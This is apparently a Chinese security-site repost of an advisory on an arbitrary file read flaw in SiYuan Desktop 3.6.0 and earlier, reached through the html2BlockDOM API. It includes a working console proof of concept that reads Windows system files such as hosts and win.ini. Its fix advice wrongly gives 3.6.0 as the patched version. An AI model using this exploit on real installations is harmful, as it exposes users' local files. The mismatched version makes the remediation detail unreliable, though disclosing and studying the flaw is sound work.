【高危漏洞预警】SiYuan(思源笔记)桌面发布服务存在任意文件读取漏洞

admin 2026-03-26 13:26:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 思源笔记桌面版3.6.0及以下版本存在任意文件读取高危漏洞。漏洞成因是/api/lute/html2BlockDOM接口在解析HTML时未过滤file协议路径,导致本地文件被复制到公开assets目录造成敏感信息泄露。文档提供了详细复现步骤与POC代码,验证了读取系统敏感文件的可行性。建议用户立即升级至3.6.1及以上版本修复漏洞。 综合评分: 85 文章分类: 漏洞预警,漏洞分析,漏洞POC,应用安全


cover_image

【高危漏洞预警】SiYuan(思源笔记)桌面发布服务存在任意文件读取漏洞

信通云服

2026年3月23日 16:59 海南

【漏洞描述】

组件介绍

SiYuan(思源笔记)是一款开源、本地优先的个人知识管理软件,核心特点是数据完全由用户掌控(默认存本地)、支持双链与块级引用(可精细到段落进行网状关联),并采用所见即所得的Markdown编辑体验。它适合注重隐私、希望长期自主管理知识库的用户,并可通过插件、挂件或自建同步服务进行扩展。

漏洞简介

在SiYuan Desktop 版本 ≤ 3.6.0中存在一个安全漏洞,该漏洞本质是由于思源笔记的 /api/lute/html2BlockDOM 接口在解析用户提交的 HTML 时,未对 这种本地文件路径做安全限制,导致服务器会将任意本地文件读取并复制到可公开访问的 assets 目录中,攻击者随后即可通过 /assets/ 路径直接访问这些文件,从而实现任意文件读取并造成敏感信息泄露。

【漏洞复现】

下载版本 ≤ 3.6.0的桌面版本,将其安装并启动即可

启动后访问http://127.0.0.1:6806,随后在console中输入poc

(async&nbsp;() => {&nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp;&nbsp;const&nbsp;sensitiveFiles = [&nbsp; &nbsp; &nbsp;&nbsp;'file:///C:/Windows/System32/drivers/etc/hosts',&nbsp; &nbsp; &nbsp;&nbsp;'file:///C:/Windows/win.ini',&nbsp; &nbsp; ];&nbsp; &nbsp;&nbsp;const&nbsp;dom =&nbsp;'<p>'&nbsp;+ sensitiveFiles.map(f&nbsp;=>&nbsp;`<a href="${f}">x</a>`).join(' ') +&nbsp;'</p>';&nbsp; &nbsp;&nbsp;const&nbsp;r1 =&nbsp;await&nbsp;fetch('/api/lute/html2BlockDOM', {&nbsp; &nbsp; &nbsp;&nbsp;method:&nbsp;'POST',&nbsp; &nbsp; &nbsp;&nbsp;headers: {&nbsp;'Content-Type':&nbsp;'application/json'&nbsp;},&nbsp; &nbsp; &nbsp;&nbsp;body:&nbsp;JSON.stringify({ dom }),&nbsp; &nbsp; &nbsp;&nbsp;credentials:&nbsp;'same-origin',&nbsp; &nbsp; });&nbsp; &nbsp;&nbsp;const&nbsp;{ data } =&nbsp;await&nbsp;r1.json();&nbsp; &nbsp;&nbsp;const&nbsp;paths = [...(data ||&nbsp;'').matchAll(/data-href="(assets\/[^"]+)"/g)].map(m&nbsp;=>&nbsp;m[1]);&nbsp; &nbsp;&nbsp;for&nbsp;(const&nbsp;p&nbsp;of&nbsp;paths) {&nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;r2 =&nbsp;await&nbsp;fetch('/'&nbsp;+ p, {&nbsp;credentials:&nbsp;'same-origin'&nbsp;});&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(r2.ok)&nbsp;console.log('--- '&nbsp;+ p +&nbsp;' ---\n'&nbsp;+ (await&nbsp;r2.text()));&nbsp; &nbsp; }&nbsp; }&nbsp;catch&nbsp;(_) {}})();

【影响范围】

SiYuan Desktop  <= 3.6.0

【修复建议】

补丁版本 >= 3.6.0

【参考链接】

https://github.com/siyuan-note/siyuan/commit/294b8b429dea152cd1df522cddf406054c1619ad

https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1

https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fq2j-j8hc-8vw8


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:信通云服 《【高危漏洞预警】SiYuan(思源笔记)桌面发布服务存在任意文件读取漏洞》

评论:0   参与:  0